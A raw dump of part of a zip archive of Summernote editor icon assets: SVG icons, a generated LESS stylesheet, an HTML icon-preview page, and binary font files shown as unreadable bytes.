class="cls-1"/>
</svg>
PK�{�\k��CCicons/arrows-v.svgnu�[���<svg width="1792" height="1792" viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"><path d="M1216 320q0 26-19 45t-45 19h-128v1024h128q26 0 45 19t19 45-19 45l-256 256q-19 19-45 19t-45-19l-256-256q-19-19-19-45t19-45 45-19h128v-1024h-128q-26 0-45-19t-19-45 19-45l256-256q19-19 45-19t45 19l256 256q19 19 19 45z"/></svg>PK�{�\TG���icons/align-left.svgnu�[���<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="1024px" height="1024px" viewBox="0 0 1024 1024" enable-background="new 0 0 1024 1024" xml:space="preserve">
<g>
	<g>
		<path fill="#010202" d="M929.51,135.727H17.704v151.855H929.51V135.727z M777.555,437.932H17.704v150.254h759.847L777.555,437.932
			L777.555,437.932z M17.704,738.488V888.79h988.593V738.488H17.704z"/>
	</g>
</g>
</svg>
PK�{�\/�RRicons/dist/summernote.lessnu�[���// Generated by grunt-webfont
// Based on https://github.com/endtwist/fontcustom/blob/master/lib/fontcustom/templates/fontcustom.css


@font-face {
  font-family:"summernote";
src:url("./font/summernote.eot?dbafe969167589eda84514394d126413");
src:url("./font/summernote.eot?#iefix") format("embedded-opentype"),
		url("./font/summernote.woff?dbafe969167589eda84514394d126413") format("woff"),
		url("./font/summernote.ttf?dbafe969167589eda84514394d126413") format("truetype");
font-weight:normal;
font-style:normal;
}


// Bootstrap Overrides
[class^="note-icon-"]:before,
[class*=" note-icon-"]:before {
  display:inline-block;
  vertical-align:middle;
  font: normal normal normal 14px summernote;
  font-size: inherit;
  speak:none;
  text-decoration:inherit;
  text-transform:none;
  text-rendering:auto;
  -webkit-font-smoothing:antialiased;
  -moz-osx-font-smoothing:grayscale;
}

// Mixins

.note-icon-align-center, 
.note-icon-align-indent, 
.note-icon-align-justify, 
.note-icon-align-left, 
.note-icon-align-outdent, 
.note-icon-align-right, 
.note-icon-align, 
.note-icon-arrow-circle-down, 
.note-icon-arrow-circle-left, 
.note-icon-arrow-circle-right, 
.note-icon-arrow-circle-up, 
.note-icon-arrows-alt, 
.note-icon-arrows-h, 
.note-icon-arrows-v, 
.note-icon-bold, 
.note-icon-caret, 
.note-icon-chain-broken, 
.note-icon-circle, 
.note-icon-close, 
.note-icon-code, 
.note-icon-col-after, 
.note-icon-col-before, 
.note-icon-col-remove, 
.note-icon-eraser, 
.note-icon-font, 
.note-icon-frame, 
.note-icon-italic, 
.note-icon-link, 
.note-icon-magic, 
.note-icon-menu-check, 
.note-icon-minus, 
.note-icon-orderedlist, 
.note-icon-pencil, 
.note-icon-picture, 
.note-icon-question, 
.note-icon-redo, 
.note-icon-row-above, 
.note-icon-row-below, 
.note-icon-row-remove, 
.note-icon-special-character, 
.note-icon-square, 
.note-icon-strikethrough, 
.note-icon-subscript, 
.note-icon-summernote, 
.note-icon-superscript, 
.note-icon-table, 
.note-icon-text-height, 
.note-icon-trash, 
.note-icon-underline, 
.note-icon-undo, 
.note-icon-unorderedlist, 
.note-icon-video { 
&:before {
   font-family:"summernote";
   display:inline-block;
   font-weight:normal;
   font-style:normal;
   text-decoration:inherit;
 }
}


// Icons

.note-icon-align-center {
&:before {
   content:"\f101";
 }

}


.note-icon-align-indent {
&:before {
   content:"\f102";
 }

}


.note-icon-align-justify {
&:before {
   content:"\f103";
 }

}


.note-icon-align-left {
&:before {
   content:"\f104";
 }

}


.note-icon-align-outdent {
&:before {
   content:"\f105";
 }

}


.note-icon-align-right {
&:before {
   content:"\f106";
 }

}


.note-icon-align {
&:before {
   content:"\f107";
 }

}


.note-icon-arrow-circle-down {
&:before {
   content:"\f108";
 }

}


.note-icon-arrow-circle-left {
&:before {
   content:"\f109";
 }

}


.note-icon-arrow-circle-right {
&:before {
   content:"\f10a";
 }

}


.note-icon-arrow-circle-up {
&:before {
   content:"\f10b";
 }

}


.note-icon-arrows-alt {
&:before {
   content:"\f10c";
 }

}


.note-icon-arrows-h {
&:before {
   content:"\f10d";
 }

}


.note-icon-arrows-v {
&:before {
   content:"\f10e";
 }

}


.note-icon-bold {
&:before {
   content:"\f10f";
 }

}


.note-icon-caret {
&:before {
   content:"\f110";
 }

}


.note-icon-chain-broken {
&:before {
   content:"\f111";
 }

}


.note-icon-circle {
&:before {
   content:"\f112";
 }

}


.note-icon-close {
&:before {
   content:"\f113";
 }

}


.note-icon-code {
&:before {
   content:"\f114";
 }

}


.note-icon-col-after {
&:before {
   content:"\f115";
 }

}


.note-icon-col-before {
&:before {
   content:"\f116";
 }

}


.note-icon-col-remove {
&:before {
   content:"\f117";
 }

}


.note-icon-eraser {
&:before {
   content:"\f118";
 }

}


.note-icon-font {
&:before {
   content:"\f119";
 }

}


.note-icon-frame {
&:before {
   content:"\f11a";
 }

}


.note-icon-italic {
&:before {
   content:"\f11b";
 }

}


.note-icon-link {
&:before {
   content:"\f11c";
 }

}


.note-icon-magic {
&:before {
   content:"\f11d";
 }

}


.note-icon-menu-check {
&:before {
   content:"\f11e";
 }

}


.note-icon-minus {
&:before {
   content:"\f11f";
 }

}


.note-icon-orderedlist {
&:before {
   content:"\f120";
 }

}


.note-icon-pencil {
&:before {
   content:"\f121";
 }

}


.note-icon-picture {
&:before {
   content:"\f122";
 }

}


.note-icon-question {
&:before {
   content:"\f123";
 }

}


.note-icon-redo {
&:before {
   content:"\f124";
 }

}


.note-icon-row-above {
&:before {
   content:"\f125";
 }

}


.note-icon-row-below {
&:before {
   content:"\f126";
 }

}


.note-icon-row-remove {
&:before {
   content:"\f127";
 }

}


.note-icon-special-character {
&:before {
   content:"\f128";
 }

}


.note-icon-square {
&:before {
   content:"\f129";
 }

}


.note-icon-strikethrough {
&:before {
   content:"\f12a";
 }

}


.note-icon-subscript {
&:before {
   content:"\f12b";
 }

}


.note-icon-summernote {
&:before {
   content:"\f12c";
 }

}


.note-icon-superscript {
&:before {
   content:"\f12d";
 }

}


.note-icon-table {
&:before {
   content:"\f12e";
 }

}


.note-icon-text-height {
&:before {
   content:"\f12f";
 }

}


.note-icon-trash {
&:before {
   content:"\f130";
 }

}


.note-icon-underline {
&:before {
   content:"\f131";
 }

}


.note-icon-undo {
&:before {
   content:"\f132";
 }

}


.note-icon-unorderedlist {
&:before {
   content:"\f133";
 }

}


.note-icon-video {
&:before {
   content:"\f134";
 }

}

PK�{�\@�h��.�.icons/dist/summernote.htmlnu�[���<!doctype html>
<html>
	<head>
		<meta charset="utf-8">
		<title>summernote</title>
		<style>
		body {
			margin:0;
			padding:10px 20px;
			background:#fff;
			color:#222;
			}
		h1, div, footer {
			font-family:"Helvetica Neue", Arial, sans-serif;
			}
		h1 {
			margin:0 0 20px;
			font-size:32px;
			font-weight:normal;
			}
		h1 small {
			font-size: 0.8em;
			padding-left: 2em;
		}
		.icons {
			margin-bottom:40px;
			-webkit-column-count:5;
			   -moz-column-count:5;
			        column-count:5;
			-webkit-column-gap:20px;
			   -moz-column-gap:20px;
			        column-gap:20px;
			}
		.icons__item,
		.icons__item i {
			line-height:2em;
			cursor:pointer;
			overflow:hidden;
			}
		.icons__item:hover {
			color:#3c90be;
			}
		.icons__item i {
			display:inline-block;
			width:32px;
			text-align:center;
			}
		.icons__item:hover i {
			-webkit-transform:scale(1.5);
			        transform:scale(1.5);
			}
		footer {
			margin-top:40px;
			font-size:14px;
			color:#999;
			}

		/* Generated by grunt-webfont */
/* Based on https://github.com/endtwist/fontcustom/blob/master/lib/fontcustom/templates/fontcustom.css */


@font-face {
  font-family:"summernote";
src:url("font/summernote.eot?dbafe969167589eda84514394d126413");
src:url("font/summernote.eot?#iefix") format("embedded-opentype"),
		url("font/summernote.woff?dbafe969167589eda84514394d126413") format("woff"),
		url("font/summernote.ttf?dbafe969167589eda84514394d126413") format("truetype");
font-weight:normal;
font-style:normal;
}


/* Bootstrap Overrides */
[class^="note-icon-"]:before,
[class*=" note-icon-"]:before {
  display:inline-block;
  vertical-align:middle;
  font: normal normal normal 14px summernote;
  font-size: inherit;
  speak:none;
  text-decoration:inherit;
  text-transform:none;
  text-rendering:auto;
  -webkit-font-smoothing:antialiased;
  -moz-osx-font-smoothing:grayscale;
}



/* Icons */


.note-icon-align-center:before {
  content:"\f101";
}



.note-icon-align-indent:before {
  content:"\f102";
}



.note-icon-align-justify:before {
  content:"\f103";
}



.note-icon-align-left:before {
  content:"\f104";
}



.note-icon-align-outdent:before {
  content:"\f105";
}



.note-icon-align-right:before {
  content:"\f106";
}



.note-icon-align:before {
  content:"\f107";
}



.note-icon-arrow-circle-down:before {
  content:"\f108";
}



.note-icon-arrow-circle-left:before {
  content:"\f109";
}



.note-icon-arrow-circle-right:before {
  content:"\f10a";
}



.note-icon-arrow-circle-up:before {
  content:"\f10b";
}



.note-icon-arrows-alt:before {
  content:"\f10c";
}



.note-icon-arrows-h:before {
  content:"\f10d";
}



.note-icon-arrows-v:before {
  content:"\f10e";
}



.note-icon-bold:before {
  content:"\f10f";
}



.note-icon-caret:before {
  content:"\f110";
}



.note-icon-chain-broken:before {
  content:"\f111";
}



.note-icon-circle:before {
  content:"\f112";
}



.note-icon-close:before {
  content:"\f113";
}



.note-icon-code:before {
  content:"\f114";
}



.note-icon-col-after:before {
  content:"\f115";
}



.note-icon-col-before:before {
  content:"\f116";
}



.note-icon-col-remove:before {
  content:"\f117";
}



.note-icon-eraser:before {
  content:"\f118";
}



.note-icon-font:before {
  content:"\f119";
}



.note-icon-frame:before {
  content:"\f11a";
}



.note-icon-italic:before {
  content:"\f11b";
}



.note-icon-link:before {
  content:"\f11c";
}



.note-icon-magic:before {
  content:"\f11d";
}



.note-icon-menu-check:before {
  content:"\f11e";
}



.note-icon-minus:before {
  content:"\f11f";
}



.note-icon-orderedlist:before {
  content:"\f120";
}



.note-icon-pencil:before {
  content:"\f121";
}



.note-icon-picture:before {
  content:"\f122";
}



.note-icon-question:before {
  content:"\f123";
}



.note-icon-redo:before {
  content:"\f124";
}



.note-icon-row-above:before {
  content:"\f125";
}



.note-icon-row-below:before {
  content:"\f126";
}



.note-icon-row-remove:before {
  content:"\f127";
}



.note-icon-special-character:before {
  content:"\f128";
}



.note-icon-square:before {
  content:"\f129";
}



.note-icon-strikethrough:before {
  content:"\f12a";
}



.note-icon-subscript:before {
  content:"\f12b";
}



.note-icon-summernote:before {
  content:"\f12c";
}



.note-icon-superscript:before {
  content:"\f12d";
}



.note-icon-table:before {
  content:"\f12e";
}



.note-icon-text-height:before {
  content:"\f12f";
}



.note-icon-trash:before {
  content:"\f130";
}



.note-icon-underline:before {
  content:"\f131";
}



.note-icon-undo:before {
  content:"\f132";
}



.note-icon-unorderedlist:before {
  content:"\f133";
}



.note-icon-video:before {
  content:"\f134";
}


		</style>
	</head>
	<body>
		<h1>summernote</h1>

		<div class="icons" id="icons">
			
				<div class="icons__item" data-name="align-center"><i class=" note-icon-align-center"></i> note-icon-align-center</div>
			
				<div class="icons__item" data-name="align-indent"><i class=" note-icon-align-indent"></i> note-icon-align-indent</div>
			
				<div class="icons__item" data-name="align-justify"><i class=" note-icon-align-justify"></i> note-icon-align-justify</div>
			
				<div class="icons__item" data-name="align-left"><i class=" note-icon-align-left"></i> note-icon-align-left</div>
			
				<div class="icons__item" data-name="align-outdent"><i class=" note-icon-align-outdent"></i> note-icon-align-outdent</div>
			
				<div class="icons__item" data-name="align-right"><i class=" note-icon-align-right"></i> note-icon-align-right</div>
			
				<div class="icons__item" data-name="align"><i class=" note-icon-align"></i> note-icon-align</div>
			
				<div class="icons__item" data-name="arrow-circle-down"><i class=" note-icon-arrow-circle-down"></i> note-icon-arrow-circle-down</div>
			
				<div class="icons__item" data-name="arrow-circle-left"><i class=" note-icon-arrow-circle-left"></i> note-icon-arrow-circle-left</div>
			
				<div class="icons__item" data-name="arrow-circle-right"><i class=" note-icon-arrow-circle-right"></i> note-icon-arrow-circle-right</div>
			
				<div class="icons__item" data-name="arrow-circle-up"><i class=" note-icon-arrow-circle-up"></i> note-icon-arrow-circle-up</div>
			
				<div class="icons__item" data-name="arrows-alt"><i class=" note-icon-arrows-alt"></i> note-icon-arrows-alt</div>
			
				<div class="icons__item" data-name="arrows-h"><i class=" note-icon-arrows-h"></i> note-icon-arrows-h</div>
			
				<div class="icons__item" data-name="arrows-v"><i class=" note-icon-arrows-v"></i> note-icon-arrows-v</div>
			
				<div class="icons__item" data-name="bold"><i class=" note-icon-bold"></i> note-icon-bold</div>
			
				<div class="icons__item" data-name="caret"><i class=" note-icon-caret"></i> note-icon-caret</div>
			
				<div class="icons__item" data-name="chain-broken"><i class=" note-icon-chain-broken"></i> note-icon-chain-broken</div>
			
				<div class="icons__item" data-name="circle"><i class=" note-icon-circle"></i> note-icon-circle</div>
			
				<div class="icons__item" data-name="close"><i class=" note-icon-close"></i> note-icon-close</div>
			
				<div class="icons__item" data-name="code"><i class=" note-icon-code"></i> note-icon-code</div>
			
				<div class="icons__item" data-name="col-after"><i class=" note-icon-col-after"></i> note-icon-col-after</div>
			
				<div class="icons__item" data-name="col-before"><i class=" note-icon-col-before"></i> note-icon-col-before</div>
			
				<div class="icons__item" data-name="col-remove"><i class=" note-icon-col-remove"></i> note-icon-col-remove</div>
			
				<div class="icons__item" data-name="eraser"><i class=" note-icon-eraser"></i> note-icon-eraser</div>
			
				<div class="icons__item" data-name="font"><i class=" note-icon-font"></i> note-icon-font</div>
			
				<div class="icons__item" data-name="frame"><i class=" note-icon-frame"></i> note-icon-frame</div>
			
				<div class="icons__item" data-name="italic"><i class=" note-icon-italic"></i> note-icon-italic</div>
			
				<div class="icons__item" data-name="link"><i class=" note-icon-link"></i> note-icon-link</div>
			
				<div class="icons__item" data-name="magic"><i class=" note-icon-magic"></i> note-icon-magic</div>
			
				<div class="icons__item" data-name="menu-check"><i class=" note-icon-menu-check"></i> note-icon-menu-check</div>
			
				<div class="icons__item" data-name="minus"><i class=" note-icon-minus"></i> note-icon-minus</div>
			
				<div class="icons__item" data-name="orderedlist"><i class=" note-icon-orderedlist"></i> note-icon-orderedlist</div>
			
				<div class="icons__item" data-name="pencil"><i class=" note-icon-pencil"></i> note-icon-pencil</div>
			
				<div class="icons__item" data-name="picture"><i class=" note-icon-picture"></i> note-icon-picture</div>
			
				<div class="icons__item" data-name="question"><i class=" note-icon-question"></i> note-icon-question</div>
			
				<div class="icons__item" data-name="redo"><i class=" note-icon-redo"></i> note-icon-redo</div>
			
				<div class="icons__item" data-name="row-above"><i class=" note-icon-row-above"></i> note-icon-row-above</div>
			
				<div class="icons__item" data-name="row-below"><i class=" note-icon-row-below"></i> note-icon-row-below</div>
			
				<div class="icons__item" data-name="row-remove"><i class=" note-icon-row-remove"></i> note-icon-row-remove</div>
			
				<div class="icons__item" data-name="special-character"><i class=" note-icon-special-character"></i> note-icon-special-character</div>
			
				<div class="icons__item" data-name="square"><i class=" note-icon-square"></i> note-icon-square</div>
			
				<div class="icons__item" data-name="strikethrough"><i class=" note-icon-strikethrough"></i> note-icon-strikethrough</div>
			
				<div class="icons__item" data-name="subscript"><i class=" note-icon-subscript"></i> note-icon-subscript</div>
			
				<div class="icons__item" data-name="summernote"><i class=" note-icon-summernote"></i> note-icon-summernote</div>
			
				<div class="icons__item" data-name="superscript"><i class=" note-icon-superscript"></i> note-icon-superscript</div>
			
				<div class="icons__item" data-name="table"><i class=" note-icon-table"></i> note-icon-table</div>
			
				<div class="icons__item" data-name="text-height"><i class=" note-icon-text-height"></i> note-icon-text-height</div>
			
				<div class="icons__item" data-name="trash"><i class=" note-icon-trash"></i> note-icon-trash</div>
			
				<div class="icons__item" data-name="underline"><i class=" note-icon-underline"></i> note-icon-underline</div>
			
				<div class="icons__item" data-name="undo"><i class=" note-icon-undo"></i> note-icon-undo</div>
			
				<div class="icons__item" data-name="unorderedlist"><i class=" note-icon-unorderedlist"></i> note-icon-unorderedlist</div>
			
				<div class="icons__item" data-name="video"><i class=" note-icon-video"></i> note-icon-video</div>
			
		</div>

		

		<h1>Usage</h1>
		<pre><code>&lt;i class=&quot;note-icon-<span id="name">name</span>&quot;&gt;&lt;/i&gt;</code></pre>
		

		<footer>Generated by <a href="https://github.com/sapegin/grunt-webfont">grunt-webfont</a>.</footer>

		<script>
		(function() {
			document.getElementById('icons').onclick = function(e) {
				e = e || window.event;
				var name = e.target.getAttribute('data-name') || e.target.parentNode.getAttribute('data-name');
				document.getElementById('name').innerHTML = name;
				
			}
		})();
		</script>
	</body>
</html>
PK�{�\SԫA�"�"icons/dist/font/summernote.ttfnu�[���
�PFFTM�>u�"�OS/2A(]�X`cmap��0Bcvt Dtgasp��"�glyf�yk��\headn!t�6hheaG	$hmtx���vloca�r�txpmaxp��8 name���ZD�postK�IP ����^_<�֧�y֧�y���nk�n.����k7�
@.�LfGLf��	PfEd���4���.� 	$$$$�0���J��'��Q���@6����Z����������������< �4�����D***Fx����V��Dv����
.��@f�R|�.:��Dr�		�	�

�
�Z��p��

.�U.�/<��2��<��2�/<��2��<��233'3#�wffU��3�}!5!5!!!�����V�^�|KK�L�K����!!5!5!%&=46���
��
�xwM�LL�LL�`_��}!5!5!!����|KK�LL�K�}!5!5!!�8|���|LL�KK�K����!!5!5!%6'.'&47>���
��
��wxM�LL�LL��_`	�|!!5!5!/�7L}��|L�KK�KK�p75!%!!!5! /������Q��GG�H��H$����+$4/&"54&+"'&"2?6".4>2�6$6ggM:exe::exe�6��6hhIxe::exe::$����+%54&+764/&"2?64/32>".4>2��6hh6�I:exe::exe�$6gg6Vxe::exe::$����+$4/&"#";2?6".4>2�h6��6hL:exe::exe�g6$6gIxe::exe::$����+$4/&"2?;26=2?6".4>2�gg6$6M:exe::exe�hh6��6Ixe::exe::����7#7'#57'537'3��A�A��A�A�=�>��>�A�A�@~~@�A�=�=��=�d$"&=!"/&4?62!5462J��JJ$J�I
$$
II
$$
I���\�+32"/&46;#"&4?62[
$$
II
$$
IIl��JJ$JJ���� -+52654&#5732'32654.#32654.�::EDXf�%&�yW�%&& !%6?28@%"!&<3F�#+ &
ȃ
.-%)0m32"'.'&6=�01cAC����/�
)7Uq&/&6767>'.'.?>'&676&2#".4>;2>&+".54632+"&46372+"3�&

&

p&

&

?&

&

e&

&

Q<V'D(b				b!./!b		ua<VV=`		`$/!�=
	=
G=

=	�Y=	
=	G=
	=
�U<'C&		.A-		�UwU		$!-����2"&4$"264�響��ʎ�ʎܨ쨨�{�Ȍ��J�u%"/"/&?'&?62762�������������������k�
%57'53%7'����'�:���ܢ��"6UU7x'���p�x7UU6x���159=%"/&4?#"&=46;'&4?632#".546;2'5#75#75#m
8�


�8

{{��	�}}}}}-8

8{{m��*vv�vv�uu�����159=232+"/&4?32+".54>353535�8�

�8{{���~~~~~T8

7{{u��+uu�vv�uu���#37;?4?62762"/"/&4?'#"&546;2'5#75#75#�EEDDEEDD.��"}}}}} EE DE EE ED����*vv�vv�uu'����2+"&54637#�\#�#[$�����##-#��������%#3#52733#52654/3�	�.�*�%�!\9vL((Nx��8((
	
ݑ����U�*:T`lx�!2#!"&546"&3!26=4.#%!2#!"&546"#"3!2654.#"#6&"2?664/&"64/&"$&"2?6�

�%RO!$	�%l

��
s
(:�<%
r8
8��8
868
8��8
8�
��

H
$��k
�*

�
#	
��6"9K
	8
7D
87�g
8
8S
8
8Q����3"3#7267654&'Ӻ
Y
�
Z� ��  ��//Q9H2#".4>;2>&+".54632+"&46372+"374>;2+"&�<V'D(b				b!./!b		u				a<VV=`		`!./!#	��QU<'C&		.A-		�		UwU		.A-O
����^7537775377�II,n�I�I�&���\�\\\IH�''�H�IFmm�>�[�e[[[@ �`7'577ɉ7S�7�!�3S�3��6���75!6��PP����%)-17>54&#"#&6323#4>#573#%!5!!5!*

$# %.	V�.0%�}��|:


 (4%��UU�T�TT���
7'72,�����W� I�+���;gV�G���7�)1I!"&5463!24.##!"'"3!265&"&462#&#!"#.6?>7>��

#
	
�u
*�*d((	
��
E
,D+(
��q
�

��))�$$��^%Z����#5367632#>?67654&#"�b�='8Ib
#X$
&&-^^F\&FD*6*	(1��SOn!74.">32O��N HfZ7)		/4K(8d>.

_��J) --2.8(	�����/37;"/+"&="/&4?62#!"&=4>3!2#3'#3'#3�8

8{{u��*vv�uu�vv68�

�8{{���		}}}}}������-159$"/&4?62546;27627#!"&=463!25##5##5#�{{8

7t��*v'u'v]{{8�	

	�8���}}}}}}���#59=A6"/&4?'&4?62762"/#!"&=4>3!2#3'#3'#3� EE EE EE EED��*vv�uu�uu� DE EE ED EE.��	!}}}}}����	$0<$&5462# &54632#7&=4632#"'&&54632#''7'7�* �z��������̎--�	
�w�����������1�!2#!"&546"3!2654&#
�%%�&&>%%�%%�&�i&&�&$%��&&O%����/S%!"=4;&'&54>323273#.#"3232>54'&'3#".#"#53�c(+<"',
#!4>!#*F���C%(�,N. 3@	�7&2/"
�&9!#	7!!!'A$	���e�1#567>74#"'6323%#532?'&+5373#";#dm03��_}b_uabu
_b~o	 (��0��0��0��0	���nR
%/8CNXb%#654'32'&'762?"&463275462&"'&462"&46;#"'&47"&=27#"/61,,
m

��E�.�ƍ�cN?�"� 	
v

,7

	

"�


��

��?Nc��ƍ.��,

,e 	
��
		
C,

,d

��e�1#567>74#"'632#'#532?'&+5373#"3dm0u~__~
b^ubbu_b;"	 (��0��0��0��0��
����#'+;'35#75#35#75#35#75#535335335%�$�$�����������������$�$�(�1$j$kk�j$kk�j$kk�llllll����^�	&%3'3#7#&+;#53265#"#5!#EVVEARQ@�&4'"�%)#%�(BB(BB#��$$,+||����)53!532653!32>54&"2654&"&"2654V���q�F�E1	pY#
$�##�>}��@��
��������(,#".=4&#53#"32>=4#53!5!�+N01O*$� 3$'7@��Q�~�-:6  1:(�##�.5$'92�A##�7#��SMn>32."!*I7=a3)J5.-5[eIM��_E+34*
5)!$#
J�����!5!!5!#55353��}��}�LUUVU�UU�T�TT�UU�TT�TT��#\'5%2#!"&=4>3#�v
	��

T�<`�	
��	
�
4&�
��
			$	L<	�	 �	summernotesummernoteRegularRegularFontForge 2.0 : summernote : 13-2-2018FontForge 2.0 : summernote : 13-2-2018summernotesummernoteVersion 001.000 Version 001.000 summernotesummernote��7	

� !""#$%&'()*+,-./0123align-centeralign-indent
align-justify
align-left
align-outdentalign-rightalignarrow-circle-downarrow-circle-leftarrow-circle-rightarrow-circle-up
arrows-altarrows-harrows-vboldcaretchain-brokencircleclosecode	col-after
col-before
col-removeeraserfontframeitaliclinkmagic
menu-checkorderedlistpencilpictureredo	row-above	row-below
row-removespecial-charactersquare
strikethrough	subscript
summernotesuperscripttabletext-heighttrash	underlineundo
unorderedlistvideo����֧�y֧�yPK�{�\��D�z#z#icons/dist/font/summernote.eotnu�[���z#�"	�LP^߲�summernoteRegular Version 001.000 summernote
�PFFTM�>u�"�OS/2A(]�X`cmap��0Bcvt Dtgasp��"�glyf�yk��\headn!t�6hheaG	$hmtx���vloca�r�txpmaxp��8 name���ZD�postK�IP ����^_<�֧�y֧�y���nk�n.����k7�
@.�LfGLf��	PfEd���4���.� 	$$$$�0���J��'��Q���@6����Z����������������< �4�����D***Fx����V��Dv����
.��@f�R|�.:��Dr�		�	�

�
�Z��p��

.�U.�/<��2��<��2�/<��2��<��233'3#�wffU��3�}!5!5!!!�����V�^�|KK�L�K����!!5!5!%&=46���
��
�xwM�LL�LL�`_��}!5!5!!����|KK�LL�K�}!5!5!!�8|���|LL�KK�K����!!5!5!%6'.'&47>���
��
��wxM�LL�LL��_`	�|!!5!5!/�7L}��|L�KK�KK�p75!%!!!5! /������Q��GG�H��H$����+$4/&"54&+"'&"2?6".4>2�6$6ggM:exe::exe�6��6hhIxe::exe::$����+%54&+764/&"2?64/32>".4>2��6hh6�I:exe::exe�$6gg6Vxe::exe::$����+$4/&"#";2?6".4>2�h6��6hL:exe::exe�g6$6gIxe::exe::$����+$4/&"2?;26=2?6".4>2�gg6$6M:exe::exe�hh6��6Ixe::exe::����7#7'#57'537'3��A�A��A�A�=�>��>�A�A�@~~@�A�=�=��=�d$"&=!"/&4?62!5462J��JJ$J�I
$$
II
$$
I���\�+32"/&46;#"&4?62[
$$
II
$$
IIl��JJ$JJ���� -+52654&#5732'32654.#32654.�::EDXf�%&�yW�%&& !%6?28@%"!&<3F�#+ &
ȃ
.-%)0m32"'.'&6=�01cAC����/�
)7Uq&/&6767>'.'.?>'&676&2#".4>;2>&+".54632+"&46372+"3�&

&

p&

&

?&

&

e&

&

Q<V'D(b				b!./!b		ua<VV=`		`$/!�=
	=
G=

=	�Y=	
=	G=
	=
�U<'C&		.A-		�UwU		$!-����2"&4$"264�響��ʎ�ʎܨ쨨�{�Ȍ��J�u%"/"/&?'&?62762�������������������k�
%57'53%7'����'�:���ܢ��"6UU7x'���p�x7UU6x���159=%"/&4?#"&=46;'&4?632#".546;2'5#75#75#m
8�


�8

{{��	�}}}}}-8

8{{m��*vv�vv�uu�����159=232+"/&4?32+".54>353535�8�

�8{{���~~~~~T8

7{{u��+uu�vv�uu���#37;?4?62762"/"/&4?'#"&546;2'5#75#75#�EEDDEEDD.��"}}}}} EE DE EE ED����*vv�vv�uu'����2+"&54637#�\#�#[$�����##-#��������%#3#52733#52654/3�	�.�*�%�!\9vL((Nx��8((
	
ݑ����U�*:T`lx�!2#!"&546"&3!26=4.#%!2#!"&546"#"3!2654.#"#6&"2?664/&"64/&"$&"2?6�

�%RO!$	�%l

��
s
(:�<%
r8
8��8
868
8��8
8�
��

H
$��k
�*

�
#	
��6"9K
	8
7D
87�g
8
8S
8
8Q����3"3#7267654&'Ӻ
Y
�
Z� ��  ��//Q9H2#".4>;2>&+".54632+"&46372+"374>;2+"&�<V'D(b				b!./!b		u				a<VV=`		`!./!#	��QU<'C&		.A-		�		UwU		.A-O
����^7537775377�II,n�I�I�&���\�\\\IH�''�H�IFmm�>�[�e[[[@ �`7'577ɉ7S�7�!�3S�3��6���75!6��PP����%)-17>54&#"#&6323#4>#573#%!5!!5!*

$# %.	V�.0%�}��|:


 (4%��UU�T�TT���
7'72,�����W� I�+���;gV�G���7�)1I!"&5463!24.##!"'"3!265&"&462#&#!"#.6?>7>��

#
	
�u
*�*d((	
��
E
,D+(
��q
�

��))�$$��^%Z����#5367632#>?67654&#"�b�='8Ib
#X$
&&-^^F\&FD*6*	(1��SOn!74.">32O��N HfZ7)		/4K(8d>.

_��J) --2.8(	�����/37;"/+"&="/&4?62#!"&=4>3!2#3'#3'#3�8

8{{u��*vv�uu�vv68�

�8{{���		}}}}}������-159$"/&4?62546;27627#!"&=463!25##5##5#�{{8

7t��*v'u'v]{{8�	

	�8���}}}}}}���#59=A6"/&4?'&4?62762"/#!"&=4>3!2#3'#3'#3� EE EE EE EED��*vv�uu�uu� DE EE ED EE.��	!}}}}}����	$0<$&5462# &54632#7&=4632#"'&&54632#''7'7�* �z��������̎--�	
�w�����������1�!2#!"&546"3!2654&#
�%%�&&>%%�%%�&�i&&�&$%��&&O%����/S%!"=4;&'&54>323273#.#"3232>54'&'3#".#"#53�c(+<"',
#!4>!#*F���C%(�,N. 3@	�7&2/"
�&9!#	7!!!'A$	���e�1#567>74#"'6323%#532?'&+5373#";#dm03��_}b_uabu
_b~o	 (��0��0��0��0	���nR
%/8CNXb%#654'32'&'762?"&463275462&"'&462"&46;#"'&47"&=27#"/61,,
m

��E�.�ƍ�cN?�"� 	
v

,7

	

"�


��

��?Nc��ƍ.��,

,e 	
��
		
C,

,d

��e�1#567>74#"'632#'#532?'&+5373#"3dm0u~__~
b^ubbu_b;"	 (��0��0��0��0��
����#'+;'35#75#35#75#35#75#535335335%�$�$�����������������$�$�(�1$j$kk�j$kk�j$kk�llllll����^�	&%3'3#7#&+;#53265#"#5!#EVVEARQ@�&4'"�%)#%�(BB(BB#��$$,+||����)53!532653!32>54&"2654&"&"2654V���q�F�E1	pY#
$�##�>}��@��
��������(,#".=4&#53#"32>=4#53!5!�+N01O*$� 3$'7@��Q�~�-:6  1:(�##�.5$'92�A##�7#��SMn>32."!*I7=a3)J5.-5[eIM��_E+34*
5)!$#
J�����!5!!5!#55353��}��}�LUUVU�UU�T�TT�UU�TT�TT��#\'5%2#!"&=4>3#�v
	��

T�<`�	
��	
�
4&�
��
			$	L<	�	 �	summernotesummernoteRegularRegularFontForge 2.0 : summernote : 13-2-2018FontForge 2.0 : summernote : 13-2-2018summernotesummernoteVersion 001.000 Version 001.000 summernotesummernote��7	

� !""#$%&'()*+,-./0123align-centeralign-indent
align-justify
align-left
align-outdentalign-rightalignarrow-circle-downarrow-circle-leftarrow-circle-rightarrow-circle-up
arrows-altarrows-harrows-vboldcaretchain-brokencircleclosecode	col-after
col-before
col-removeeraserfontframeitaliclinkmagic
menu-checkorderedlistpencilpictureredo	row-above	row-below
row-removespecial-charactersquare
strikethrough	subscript
summernotesuperscripttabletext-heighttrash	underlineundo
unorderedlistvideo����֧�y֧�yPK�{�\�`ƼL=L=icons/dist/font/summernote.woffnu�[���wOFFOTTO=L
n�CFF �9�iY'�a�FFTM=0�>u�OS/2LJ`A']�cmap�6B
��head�06n!thhea$ $Fhmtx<�in��maxpD5Pname��Ԝ��Zpost� ��x�c`d``�$���m�2p31����*a�󙲘Ā\�4eo
x�c`d``��Ϡ����iLY@��PPP5x�c`ab`������Ø�����2H2�0001�r2����������	���&��
��?�x����j�0E�;!J�,�����Fv2��9S��3�%������-��\ٯt)������A�{%�
